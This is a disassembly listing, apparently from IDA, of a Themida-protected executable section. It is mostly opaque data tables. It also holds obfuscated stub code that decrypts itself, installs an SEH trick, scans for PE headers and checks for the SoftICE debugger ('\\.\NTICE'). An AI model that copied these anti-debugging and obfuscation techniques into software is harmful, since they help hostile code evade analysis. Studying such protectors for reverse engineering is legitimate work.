205E0CE0h, 502122C6h, 291F4800h dd 2FBE6DC3h, 651906F5h, 0A1CD9FBFh, 0DC99951Dh, 2CA23030h dd 181C6F48h, 2AC52107h, 6E200024h, 55532C8Ch, 0C37821C0h dd 0F2CB6DC8h, 0D70C0114h, 167F88B6h, 170BECCh, 9D04AADAh dd 49832AE5h, 88D49606h, 6624B0D0h, 0DC654000h, 0AB732012h dd 0B4D20002h, 47ACBFB1h, 6A48685Fh, 0EEF80CD2h, 0F2B113Ch dd 446DF9BCh, 5170A600h, 7C0ED973h, 985533A3h, 0F2596818h dd 27B40053h, 6E2FEA92h, 2BE4226Bh, 80054FCh, 0A4A8A940h dd 0CDE22Dh, 0F5602C0Fh, 0A36472ABh, 0BF307CF6h, 9944705Eh dd 0A2151873h, 0EDBB1158h, 641E3BF0h, 1DDE51D4h, 0F9971100h dd 5C1D38Ch, 3AE77877h, 0FF012FCCh, 0B6FFh db 3 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_548BDF: ; CODE XREF: start:loc_4E1265j ; DATA XREF: start:loc_4E1086o jmp loc_54C110 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 7 dup(0) aVodd db 'V▌╓d',0 align 4 dd 0 dd 54C9BC18h, 4 dup(0) dd 81660619h, 7 dup(0) aMiS db '╛┬',7,'S',0 align 4 dd 9 dup(0) dd 25B0000h, 1FA92A36h, 2, 0 dd offset byte_59CC5F dd 4 dup(0) dd 0FFFFFFFFh, 0FDCh, 0C102ECh, 0 dd 0FBA82FEFh, 4 dup(0) dd 0A4h, 761C9064h, 7FFE0304h, 3 dup(0) dd offset word_59D97E dd 0 dd 0FFA49233h, 2 dup(0) dd 4, 32h dup(0) dd 0A21568h, 18h dup(0) dd 191D6D37h, 5 dup(0) dd 13D8E05Dh, 2890000h, 0 dd 6936h, 7 dup(0) aUY db '╫·',9,'y',0 align 4 dd 5 dup(0) dd 76FACA04h, 2 dup(0) dd offset word_5BE05A dd 10000h, 2A200h, 0 dd 77F51254h, 0A0D554h, 2B34BE89h, 7FFE0304h, 0 dd 0B1A1FEh, 3 dup(0) dd 7FFE0304h, 2 dup(0) dd 0FFFF5E94h, 84h, 0 dd 0D4D0A9DEh, 77DD23D7h, 77E776CDh, 35Bh, 1, 3 dup(0) dd 24h, 2 dup(0) dd 12FF64h, 4 dup(0) dd 0FFFFFFFFh, 4 dup(0) dd 77E7A5FDh, 57278861h, 7 dup(0) dd 7FFE0304h, 0 aLJ db 'L╤Ё├',0 align 10h dd 4 dup(0) dd 0A23268h, 8 dup(0) aW db 'л^щw',0 align 10h dd 8001FCFCh, 4 dup(0) dd 0A00FE6h, 0A59995h, 0 dd offset byte_58F88C align 8 dd 1, 9 dup(0) dd offset off_57AEE7 dd 0Ah dup(0) dd 0BBBFFDD4h, 9 dup(0) aKzl db '┼Zlп',0 align 4 dd 6 dup(0) aSlqa4x db 'Аl÷─ш4X',0 dd 3 dup(0) dd 1, 7 dup(0) dd 1, 5 dup(0) dd 0E8h, 3 dup(0) dd 0B52Ah, 8 dup(0) aCw db '&гГw',0 align 4 dd 0Ah dup(0) dd offset word_582202 align 10h aQOv db 'Q',1Bh,'OV',0 align 4 dd 4000F0h, 3 dup(0) dd 0EE713013h, 59FBD2h, 0 dd 801474E6h, 24A7FFFh, 4 dup(0) aRE db '/RкE',0 align 4 dd 0EC271FA3h, 3 dup(0) aSacw db '≥═Гw',0 align 10h aP_0: unicode 0, <p>,0 dd 7FFE0304h, 3 dup(0) dd offset byte_57BA7B align 10h dd 0CE8h, 2 dup(0) dd 0A170C4h, 3 dup(0) dd 0EAF6F5B8h, 0A280105h, 5 dup(0) dd 2420008h, 0FFA7FFDDh, 0 dd 144628h, 4 dup(0) dd 6C94h, 3 dup(0) dd offset a_Ntice ; "\\\\.\\NTICE" align 10h dd 0EBAE06D7h, 0A19499h, 2 dup(0) dd offset dword_5794A8 align 8 aC_3 db 'й╢Г╢',0 align 10h dd 2 dup(0) dd offset dword_549B78 dd 5CECh, 0 dd 7FFE0023h, 2 dup(0) dd 0FFFF9148h, 12FF60h, 9Ch, 3 dup(0) dd 7F39F899h, 169Ah, 0A19C37h, 6 dup(0) dd 8001FCFCh, 0 dd 80h, 3 dup(0) dd 0FFFFFFFFh, 0 dd 7FFE0304h, 0 dd 6C94h, 582202h, 0A19234h, 6 dup(0) dd offset byte_58F88F dd 25h dup(0) dd offset byte_5883DF dd 0B80000h, 6E08h, 0 dd 7F449390h, 6D656854h, 616469h, 20h dup(0) dd 0FFA34096h, 0 dd 0D6Ch, 3 dup(0) dd 13D8E05Dh, 3 dup(0) dd offset byte_59EC75 dd 15h dup(0) dd 50000h, 2 dup(0) dd 0FD3AC2E0h, 5 dup(0) dd 0FFFF96ECh, 0E284EA00h, 8002B885h, 3 dup(0) dd 6C94h, 0C246DA44h, 0 dd 0FFFF9148h, 0A169DDh, 2 dup(0) dd 7FFE0304h, 2 dup(0) dd 0A169DDh, 0 dd 901B2B11h, 9 dup(0) dd 77D40000h, 464934EBh, 0A109F7h, 5 dup(0) dd 7FFE0304h, 54C9B384h, 3 dup(0) dd offset byte_5BD7C3 dd 0 dd offset word_57CC3E dd 12FF54h, 3 dup(0) dd 34h, 0FFFF982Ch, 0 aJcw db ';JГw',0 align 10h dd offset word_582202 align 8 dd offset dword_58A240 dd 77F7EBB3h, 3 dup(0) dd 77E6D706h, 2 dup(0) aVcw db 'мvГw',0 align 10h dd 0 dd 0FF5E5FF1h, 0A223E8h, 0 dd 0CB1A7h, 2 dup(0) dd offset aNxsn ; "т[╜XИ█" dd 0Eh dup(0) aUra db '|·R─',0 align 10h dd 4 dup(0) dd offset byte_5CA9C3 align 8 dd 0FFFF990Ch, 0 dd 8E9h, 8 dup(0) dd offset byte_5A0C05 dd 16h dup(0) dd 1D7A40h, 0Ah dup(0) dd 109128Fh, 0Ah dup(0) dd 0CCh, 0 dd 0A37316h, 6 dup(0) dd 0A1FA56h, 4 dup(0) dd 0A13145h, 0 dd 0FFFF982Ch, 0Ah dup(0) dd 0FFFFFFFFh, 3 dup(0) aIsiq db '┬ХКQ',0 align 4 dd 4A449E00h, 0B5564DF0h, 0A169DDh, 0 dd 0F600B034h, 77DD0000h, 2 dup(0) dd 62h, 2 dup(0) dd offset word_582202 dd 1C034h, 0 aHSw db 'h>Хw',0 align 4 dd 4 dup(0) dd offset word_5CBF6A dd offset byte_5A1ABB align 8 dd offset byte_580023 dd 3 dup(0) dd 0A1A00Fh, 4 dup(0) dd 77E776CDh, 24242424h, 0FFDFFFFFh, 5 dup(0) dd 88h, 4 dup(0) dd 0DCh, 4 dup(0) dd 6CE0h, 25A0000h, 3E16332h, 0 aJCw db '├дГw',0 align 10h aMig db '╛⌡ё',0 aU_0 db 'Й!&u',0 align 4 dd 3 dup(0) dd 0FB2AEC13h, 5 dup(0) dd 13D8E05Dh, 5 dup(0) dd 0FB2AEC13h, 0EBAE8D8Dh, 0Bh dup(0) dd 77F51B2Bh, 0 aCW db 'Ф^Йw',0 align 4 dd 7 dup(0) dd 163204Ch, 3 dup(0) dd 90h, 12FEF8h, 3 dup(0) dd offset byte_5834DB dd offset byte_583697 align 10h dd 0FB2AEC13h, 0 dd 7CCA00A0h, 0 dd offset word_5A0C3E align 10h dword_549970 dd 0B8h, 74C00B00h, 18C203h, 0C24448Bh, 0E853h, 815B0000h ; DATA XREF: Themida_:0054A650o dd 17C3h, 245C8900h, 24448910h, 37B85B14h, 0FF00A1A0h dd 24448BE0h, 0E0FF04h, 14h dup(0) a_jcw db '.jГw',0 align 10h aFl db '■l',0 align 4 aFw db 1Bh,',Fw',0 align 4 aC_4 db '≈Ё~<',0 align 4 dd 4 dup(0) dd 83A52AC4h, 0FFFF8DE1h, 0AFB1CAh, 3 dup(0) a6666m db '6666╛',0 dw 0FFEDh dd 9 dup(0) dd offset dword_4CF5F4+0EA3h dd offset word_57CC8E dd 10h dup(0) dd offset off_57AEE7 dd 171FFB0h, 2 dup(0) dd offset word_5CBF6A dd 0FFFF3FA2h, 0 dd offset word_597B4E dd 4 dup(0) dd offset dword_549B78 dd offset word_5CBF6A aTP db 't',0Bh,'╞',0Ah,0 align 10h dd 3 dup(0) dd offset byte_5AEF6B dd 2 dup(0) aTyuj db 'tYU├',0 align 10h dd 0 dd offset word_59D832 dd 0 dd offset word_5885DE dd 35000h, 0Dh dup(0) dd 0FFFFB4CAh, 0 aEef db '╤E┘F',0 align 4 dd 4 dup(0) dword_549B78 dd 3BCh, 0A000F8h, 0 ; DATA XREF: Themida_:00549228o ; Themida_:00549AE0o ... dd 0AF00F8h, 7FFE7397h, 10h dup(0) dd 21D3EC17h, 77E82168h, 3 dup(0) dd 0A1A037h, 2 dup(0) aFI db '╟Д╟╘',0 align 4 dd 9 dup(0) dd 7FFE0304h, 0Ch dup(0) dd 0FB71D921h, 8Ch, 6 dup(0) dd offset byte_54CEEB dd 0 dd 5300h, 4 dup(0) dd 0A169DDh, 2 dup(0) dd 0FFA57F01h, 2 dup(0) dd 77F52E0Fh, 8 dup(0) dd 3047105Dh, 2 dup(0) aQucw db 'О⌠Гw',0 align 4 dd 6 dup(0) dd 464B3C85h, 24AE4E9h, 0 dd 2273F2C2h, 4 dup(0) aBm db ')║▄/',0 align 4 dd 3 dup(0) dd 77E60000h, 0 dd 0FFA7FFDDh, 0 dd 0FFA5F563h, 13D8E05Dh, 0A0B168h, 0 dd 32E9h, 0A00FE6h, 0Eh dup(0) dd offset word_5885DE aCWindowsSystem db 'C:\WINDOWS\System32\ADVAPI32.dll',0 align 4 dd 3Ch dup(0) dd 7FFE0304h, 49012DD8h, 0 dd 0E056F3E4h, 1, 77FFFFFCh, 4 dup(0) aR_0 db '}╢ьR',0 align 4 dd 1Fh dup(0) dd 0FFFF5E94h, 6 dup(0) aSne db 'А█┘!',0 align 4 dd 3 dup(0) dd 8001FCFCh, 0 aECwci db '┘гГwФ┬}(',0 align 4 dd 8 dup(0) dd 0A1A00Fh, 3 dup(0) dd offset dword_59D020 dd 0 dd offset dword_5BB658 dd 9 dup(0) dd offset byte_580023 dd 3 dup(0) dd offset dword_5B0000 dd 2 dup(0) dd 13D8E05Dh, 20h dup(0) dd 74h, 0A24Dh, 0 dd 6C94h, 4C3AA05Ch, 7FFE0304h, 0 dd 24A6C80h, 5 dup(0) dd 345AFD8Bh, 0 dd 1, 6 dup(0) dd 34B8h, 77D4C96Ah, 7 dup(0) aD_ db '╓_еЁ',0 align 10h dd 0 dd 7FFE90FAh, 0Bh dup(0) dd 5CE5h, 2 dup(0) db '""""""""',0 align 4 dd 2 dup(0) dd 0FFFF982Ch, 2 dup(0) dd 7FFE0304h, 0FFA7CB25h, 2 dup(0) dd 3600h, 63221B7h, 2 dup(0) dd 0B78883h, 6 dup(0) dd 13D8E05Dh, 8 dup(0) dd offset byte_5AA683 dd 0FFA64805h, 2 dup(0) dd 78h, 13D8E05Dh, 6 dup(0) dd 12FF38h, 0Ch dup(0) dd offset word_5CAC7E dd 0 dd 0EC271FA3h, 1, 5 dup(0) dd 0FFFFA168h, 6 dup(0) aUJh db '·╟├H',0 align 4 dd 6 dup(0) dd offset byte_59DBD9 dd 3 dup(0) dd offset word_5CBF6A align 10h dd 12FFE0h, 0FF5E5FF1h, 7 dup(0) dd offset byte_58C915 dd 6 dup(0) dd 21568h, 4 dup(0) aG4 db 'шё4+',0 unk_54A309 db 0 ; DATA XREF: Themida_:0054B8E0o db 0 db 0 dd 62h dup(0) dd 25B0000h, 6 dup(0) dd 4, 584369h, 4 dup(0) dd 24A6B9Ch, 0 dd 0A21568h, 3 dup(0) dd 0FE6A80E6h, 0 aSw db '\!Хw',0 align 10h dd 0DE000h, 2 dup(0) dd offset aLS ; "`▀\\$$Х" dd 3 dup(0) dd 0FFFFA72Ch, 3 dup(0) dd 0E4E9h, 2 dup(0) dd 7FFE0304h, 6 dup(0) dd offset byte_596A09 align 10h dd offset byte_59085F dd 2 dup(0) dd 0A19393h, 40D7AD80h, 2 dup(0) dd 0FFFF4E47h, 0 dd 24AE4E9h, 0 dd 0FF8h, 0 dd 7FFDDEF8h, 1D6000h, 0B52Ah, 9 dup(0) aW4_ db 'W╠4_',0 align 10h aLb db '╟l║',0 dword_54A5C4 dd 5 dup(0) dd 6C94h, 9 dup(0) dd 7FFE0304h, 5B871BC7h, 0 dd 0FFFF9E2Ch, 0B52Ah, 0Ah dup(0) dd 0B25FF0h, 4 dup(0) dd offset dword_549970 dd 0FFFF982Ch, 3 dup(0) dd 0A5A5E7h, 52D896ECh, 77DD59F0h, 0 dd 8005F6F4h, 3 dup(0) dd 7D1h, 5 dup(0) dd 6C94h, 2 dup(0) dd 102B89D5h, 0 dd 0A00000h, 2 dup(0) dd offset dword_549B78 dd 0 dd 7FFE0304h, 4 dup(0) dd 3DD4E4F1h, 4 dup(0) dd 1, 3 dup(0) dd 2 dup(7FFE0304h), 3 dup(0) dd 7FFE0304h, 7449BA5h, 6 dup(0) dd 2BE102D4h, 0 dd 77E80618h, 2 dup(0) dd 0E0h, 13A8h, 9BE67C11h, 59D020h, 3A7EE5BBh, 7 dup(0) dd 0A15E2Eh, 5B7877h, 3 dup(0) dd 0B27FFEh, 3 dup(0) aBbz db 'щ│B┤',0 align 10h dd 0 dd 1D07C314h, 8 dup(0) dd 0FDB12B8Ch, 4 dup(0) dd offset dword_58CD70 dd 0Dh dup(0) dd 21212121h, 216FD98h, 3 dup(0) dd 7FFE0304h, 2 dup(0) dd 0A18C0Ah, 0FFFFFFFFh, 4 dup(0) dd 0B0h, 97D8EA5h, 0FFA795F7h, 5 dup(0) dd 1, 6 dup(0) aGaj db 'ё─╕м',0 align 10h dd 12FFE0h, 7 dup(0) dd 0A12292h, 8 dup(0) dd 77DD189Ah, 0 dd 0FFFFE175h, 0 dd 30DFh, 0 dd 0FDBE0050h, 0 aAp? db '═▐г?',0 align 10h dd offset word_5CAC7E align 8 dd 0FFA675B2h, 4 dup(0) dd 7FFE0304h, 0 dd 77E7A5FDh, 3 dup(0) dd 13D8E05Dh, 2 dup(0) dd 0A00A9Ah, 3 dup(0) aIz9 db '┴┤9;',0 align 4 dd 8 dup(0) dd 1F9FFF6h, 3 dup(0) dd offset byte_5834ED dd 2 dup(0) aCM_unpacker db 'C:\m_unpacker',0 align 4 dd 7Ch dup(0) dd 24A6B9Ch, 3 dup(0) dd 7FFE0304h, 61AEAEE4h, 4 dup(0) dd 2890000h, 4 dup(0) dd 98F4DEDEh, 0 dd 1F6B6h, 4 dup(0) dd 8001FCFCh, 2 dup(0) dd 6C94h, 5 dup(0) dd 0FFA48B90h, 5 dup(0) dd offset dword_5794A8 dd 7 dup(0) dd 0FFFFFFFCh, 7 dup(0) dd 0FFA7FE32h, 0 dd offset byte_5948A9 dd 5 dup(0) dd offset loc_5AF4AE dd 2 dup(0) dd 7E91139Dh, 0A1A00Fh, 0 dd offset dword_5CC5E8 align 8 dd 0DC1B2E11h, 0 dd 1000h, 7 dup(0) dd 7FFE6004h, 0A58D53h, 0 dd 0FFFFFFFFh, 3 dup(0) dd 0A1A00Fh, 0ACh, 0F97DF2E1h, 6 dup(0) dd offset dword_549B78 dd 0Eh dup(0) dd offset dword_5B52B8 dd 2 dup(0) aI4Ib db '┴╬4+щi║',0 dd 0 dd offset byte_58F88F dd 12FFA4h, 0E75D36FEh, 2 dup(0) dd 0BE994h, 6 dup(0) aECw3cwoX db '┘гГw°3Гw▌$X',0 dd 0Fh dup(0) dd 0A3B134h, 0 aLrcv db 'L░C┌',0 align 4 aA_1: unicode 0, <═>,0 dd 3 dup(0) dd 171FFB0h, 2 dup(0) dd 63221B7h, 2 dup(0) dd offset byte_59D723 dd 3A0h, 6 dup(0) dd 0AF0000h, 0FFA685D6h, 8014FC50h, 8 dup(0) dd offset byte_5919A9 align 10h dd 221FFB0h, 0FD2h, 11h dup(0) dd 77F5168Dh, 4 dup(0) dd offset dword_58C824 dd 7 dup(0) dd offset word_54C6F2 dd 24A6BD3h, 94h, 3 dup(0) dd offset dword_57F248 dd 5 dup(0) dd 0A169DDh, 8EDD6157h, 2 dup(0) dd offset dword_5798B0 align 10h dd 0A13E3Bh, 8001FCFCh, 0B97CF8B2h, 19h, 4BBCC425h, 0FFE2E586h dd 6 dup(0) dd offset dword_54A5C4+10h dd 4 dup(0) dd 12FF54h, 0 dd 13D8E05Dh, 2 dup(0) dd 3CA00h, 3C39689Fh, 3 dup(0) dd 78326B19h, 0 dd 77E78B82h, 5BE2F2h, 4 dup(0) dd offset byte_586A09 dd 5 dup(0) dd 12FEF0h, 3 dup(0) dd 0E02BF650h, 0Fh dup(0) dd 400000h, 2 dup(0) dd 2420000h, 2 dup(0) dd offset byte_5834DB dd 5 dup(0) aSSw db 'Х/Хw',0 align 4 dd 7 dup(0) dd 0A18C0Ah, 4 dup(0) dd 1, 6 dup(0) dd 1, 7 dup(0) dd 400000h, 6 dup(0) dd offset word_5A5462 dd 6 dup(0) dd offset word_57DE8A dd 7 dup(0) dd 0FFFFFF48h, 9 dup(0) dd 2, 5BFFFEh, 77E75CB5h, 7FFE0304h, 5736B9h, 0 dd offset word_5B854E dd 4 dup(0) dd offset byte_5B6ED1 dd 0EDB4E95h, 2 dup(0) dd offset byte_5CA9C3 dd 0 dd offset dword_5BFF5C dd 0 dd 644FF2DEh, 0 dd 23h, 4 dup(0) dd offset byte_5B7877 dd 4 dup(0) aNnC db '██]Г',0 align 4 dd 5 dup(0) aM8N db 'm8 n',0 align 4 dd 5 dup(0) dd 4B36h, 3 dup(0) dd 0FFA41D0Eh, 5 dup(0) dd 1, 0AAFF95A0h, 2Ah, 0FFDFFFFFh, 4, 0 a88z db '8Л8┤',0 align 4 dd 0C9AEC022h, 77F5180Bh, 0 dd 1D7A40h, 0B0h dup(0) dd offset word_58A792 dd 0 dd offset byte_580023 dd 0Fh dup(0) aVlcw db '┌▀Гw',0 align 4 dd 0FFFFE4D5h, 4 dup(0) dd 1F705E9Ch, 3 dup(0) dd offset byte_589817 align 10h dd offset byte_5CA9C3 dd 0FFA7CB25h, 0 dd 3600h, 5 dup(0) dd 0A109F7h, 4 dup(0) dd 10h, 2 dup(0) a3 db '3]н:',0 align 4 dd 2 dup(0) dd 12FF54h, 5C9296h, 0 dd 24A6B9Ch, 2 dup(0) dd 6C94h, 2 dup(0) dd offset dword_59DA0C dd 6 dup(0) dd offset dword_40F108+27Ch dd 0 aH_ db 'фh_╩',0 align 4 dd 8 dup(0) dd offset word_5BE05A dd 11111111h, 4 dup(0) aZ db '<уZ|',0 align 4 dd 2 dup(7FFE0304h), 0FFFFFFC8h, 9 dup(0) dd offset byte_54CC0B align 10h aRestartapp_exe db 'RestartApp.exe',0 align 10h dd offset dword_549B78 dd 0A37FD8h, 0 dd 58A1FE7Bh, 0 dd 24A6B9Ch, 7A42335Bh, 5AEEF7h, 2 dup(0) dd 0A1915Bh, 0 dd offset sub_401000 dd 5 dup(0) dd 7FFE0304h, 5CBF6Ah, 0 dd 0FA3A511Ch, 0 dd 0FFFF9E2Ch, 0 dd 7FFE0304h, 3 dup(33333333h), 0 aZ_0 db 'г',1Bh,'┤[',0 align 10h db 'Lю',0 align 10h dd offset word_5921B2 align 10h dd 0FFFF982Ch, 2 dup(0) dd offset byte_584369 dd 0 dd 0E80h, 21858DE1h, 4 dup(0) dd 0A169DDh, 4 dup(0) dd 7FFE0304h, 13h dup(0) dd 76DBFFEBh, 5B5383h, 62Ch, 4 dup(0) dd offset dword_58A7EC dd 3 dup(0) dd 2, 6 dup(0) aHSw_0 db 'h>Хw',0 align 10h dd 9 dup(0) dd 0A8h, 6 dup(0) dd offset word_58FACE dd 2 dup(0) dd 1, 0Eh dup(0) dd 0FFFF96ECh, 0 dd offset unk_54A309 align 8 dd 0FFFFFFFFh, 5 dup(0) dd 6DF2BB0Ah, 0 aQR db 'еq╟R',0 align 10h dd 4 dup(0) dd 0B5A0F17Ah, 13D8E05Dh, 3 dup(0) a_fP db '.f',27h,'p',0 align 4 dd 25C0000h, 0 dd 7FFE0304h, 29h dup(0) dd offset dword_5A1ED8 dd 4 dup(0) a0I db 'ъ0е╘',0 align 4 dd 12FFF0h, 4EBh, 0 dd 0E4E9h, 3 dup(0) a@V db '@',1Bh,'╢v',0 align 4 dd 4 dup(0) dd offset word_59DAFA dd 0A00A9Ah, 0 dd offset dword_58E7C0 dd 7FFE0304h, 2 dup(0) dd 4001E8h, 0 dd 990h, 0 dd offset byte_5779ED dd 13D8E05Dh, 7Ch, 2 dup(0) dd offset byte_5A6BE9 dd 641983EFh, 2 dup(0) a0I_0 db 'ъ0е╘',0 align 4 dd 80000h, 2 dup(0) dd offset byte_5834DB align 10h dd 0B075E0h, 2 dup(0) aUc db 'Ц√ив',0 align 4 dd 5 dup(0) dd 77E75CB5h, 2, 0 dd 7FFE0304h, 0 aSSw_0 db 'Х/Хw',0 align 4 dd 5 dup(0) dd 761C9064h, 0 dd 6797FD4h, 0FE3C9673h, 3 dup(0) dd offset dword_58C824 dd 3 dup(0) dd 77E7AC5Eh, 4F1E983Eh, 7FFE0304h, 3 dup(0) a_fP_0 db '.f',27h,'p',0 align 4 dd 5 dup(0) dd 0F1F3805Ch, 2 dup(0) dd 77E805D8h, 8 dup(0) dd offset word_58A792 dd 1Bh dup(0) dd 0FC018D8Dh, 3 dup(0) aTxmp db '▓XmP',0 align 10h dd 8 dup(0) dd 20EE9h, 0 dd 3F9F8h, 5B76A3h, 587072h, 0A12BDEh, 96Ch, 0 aCycw db 'cyГw',0 align 10h dd 0A1A00Fh, 0 dd 98h, 3 dup(0) dd 77EBA6E9h, 12FEF8h, 0Ch dup(0) dd offset byte_5B8F9D align 8 dd offset byte_5834DB align 10h dd 0A169DDh, 0 dd 7FFE0304h, 5 dup(0) dd offset word_5A0332 dd 8 dup(0) dd offset byte_5779ED dd 0 dd 0E056F3E4h, 0 dd 12FF64h, 4DF000h, 2 dup(0) aR_1 db '╨╫r;',0 align 4 dd 25D0000h, 2 dup(0) aM8N_0 db 'm8 n',0 align 10h dd 9 dup(0) dd 0A169DDh, 5 dup(0) dd offset word_57CC66 dd 5 dup(0) dd 0A16Ch, 0 dd 41100B71h, 5A0BA8h, 0 dd 77E805D8h, 2 dup(0) dd 0FFED005Ch, 3 dup(0) dd 0E1014h, 0 dd 77F50000h, 5 dup(0) aSne_0 db 'А█┘!',0 align 4 dd offset byte_5A6227 dd 0 dd 0FFFF4AD6h, 5CC5C0h, 82h dup(0) dd 94B5950Fh, 6 dup(0) aJW db 'jитw#',0 db 'X',0 align 10h dd offset dword_5BC9F8 dd 2 dup(0) dd 78FC6BCAh, 4 dup(0) dd 77DD0000h, 7 dup(0) aJff db 'jДFу',0 align 4 dd 5 dup(0) dd offset byte_5834DB dd 3 dup(0) dd 0EFh, 7FFE0304h, 5 dup(0) aSpmUsGt db 'И▐m°в⌠Х',9,8,'ёT',0 align 10h dd offset byte_5BD6DD dd 12FFC4h, 6 dup(0) dd 13DFEEFFh, 57C9E5h, 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C110: ; CODE XREF: start:loc_548BDFj mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 614353Bh mov [ebp+6143505h], edx mov [ebp+6142679h], esi mov [ebp+6142E29h], eax cmp dword ptr [ebp+6143495h], 0 jz short loc_54C148 mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_54C148: ; CODE XREF: start+6B126j mov eax, [esp+40h+var_1C] mov [ebp+61410C1h], eax push 45h call sub_54C1FC push 783749Ah call sub_54C242 push 0A894B25h call sub_54C242 jmp loc_54C386 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 4645h dd 4A494847h, 4E4D4C4Bh, 5251504Fh, 56555453h, 5A595857h dd 5E5D5C5Bh, 6261605Fh, 66656463h, 6A696867h, 6E6D6C6Bh dd 7271706Fh, 76757473h, 7A797877h, 7E7D7C7Bh, 8281807Fh dd 86858483h, 8A898887h, 8E8D8C8Bh, 9291908Fh, 96959493h dd 9A999897h, 9E9D9C9Bh, 0A2A1A09Fh, 0A6A5A4A3h, 0AAA9A8A7h dd 0AEADACABh, 0B2B1B0AFh, 0B6B5B4B3h, 0BAB9B8B7h, 0BEBDBCBBh dd 0C2C1C0BFh, 0C3h, 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C1FC proc near ; CODE XREF: start+6B140p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 6143629h mov ebx, edx mov [ebp+var_28], 0 loc_54C218: ; CODE XREF: sub_54C1FC+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_54C237 mov eax, [ebp+arg_0] mov [ebx+6143593h], eax inc [ebp+arg_0] inc ebx jmp short loc_54C218 ; --------------------------------------------------------------------------- loc_54C237: ; CODE XREF: sub_54C1FC+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_54C1FC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_54C242 proc near ; CODE XREF: start+6B14Ap start+6B154p var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 6143672h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54C268: ; CODE XREF: sub_54C242+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54C268 mov [ebp+var_84], 0 lea edi, [edx+6143593h] lea esi, [ebp+var_80] loc_54C298: ; CODE XREF: sub_54C242+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54C2A4: ; CODE XREF: sub_54C242+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54C2A4 imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54C298 popa leave retn 4 sub_54C242 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_54C2E2 ; --------------------------------------------------------------------------- loc_54C2DE: ; CODE XREF: Themida_:0054C2E5j inc dword ptr [ebp-4] inc esi loc_54C2E2: ; CODE XREF: Themida_:0054C2DCj cmp byte ptr [esi], 0 jnz short loc_54C2DE mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_54C373 ; --------------------------------------------------------------------------- loc_54C2F4: ; CODE XREF: Themida_:0054C376j mov dword ptr [ebp-8], 0 jmp short loc_54C36A ; --------------------------------------------------------------------------- loc_54C2FD: ; CODE XREF: Themida_:0054C36Ej mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54C357 ; --------------------------------------------------------------------------- loc_54C30D: ; CODE XREF: Themida_:0054C35Bj shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_54C32F cmp bl, 39h ja short loc_54C32F sub bl, 30h jmp short loc_54C351 ; --------------------------------------------------------------------------- loc_54C32F: ; CODE XREF: Themida_:0054C323j ; Themida_:0054C328j cmp bl, 61h jb short loc_54C341 cmp bl, 66h ja short loc_54C341 sub bl, 61h add bl, 0Ah jmp short loc_54C351 ; --------------------------------------------------------------------------- loc_54C341: ; CODE XREF: Themida_:0054C332j ; Themida_:0054C337j cmp bl, 41h jb short loc_54C351 cmp bl, 46h ja short loc_54C351 sub bl, 41h add bl, 0Ah loc_54C351: ; CODE XREF: Themida_:0054C32Dj ; Themida_:0054C33Fj ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54C357: ; CODE XREF: Themida_:0054C30Bj cmp dword ptr [ebp-0Ch], 2 jb short loc_54C30D cmp dword ptr [ebp-10h], 0 jbe short loc_54C367 mov eax, [ebp-10h] stosb loc_54C367: ; CODE XREF: Themida_:0054C361j inc dword ptr [ebp-8] loc_54C36A: ; CODE XREF: Themida_:0054C2FBj cmp dword ptr [ebp-8], 2 jb short loc_54C2FD add edx, 4 loc_54C373: ; CODE XREF: Themida_:0054C2F2j cmp edx, [ebp-4] jb loc_54C2F4 mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C386: ; CODE XREF: start+6B159j mov ecx, 7000h lea edi, [ebp+61437B8h] loc_54C391: ; CODE XREF: start+6B381j dec byte ptr [edi] inc edi dec ecx jnz short loc_54C391 mov eax, 48692121h mov edx, 0F00E1000h sub edx, 0F0000000h lea eax, [ebp+614388Fh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax jp loc_54C3D8 jnb loc_54C3D8 jmp loc_54C3D8 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 0DBh dd 0B45155DEh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54C3D8: ; CODE XREF: start+6B3AEj start+6B3B4j ... sub eax, edx mov bl, al and eax, 0FFFFF000h mov ecx, edx xor edi, edi loc_54C3E5: ; CODE XREF: start+6B3ECj cmp word ptr [eax], 5A4Dh jnz short loc_54C3FA movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_54C402 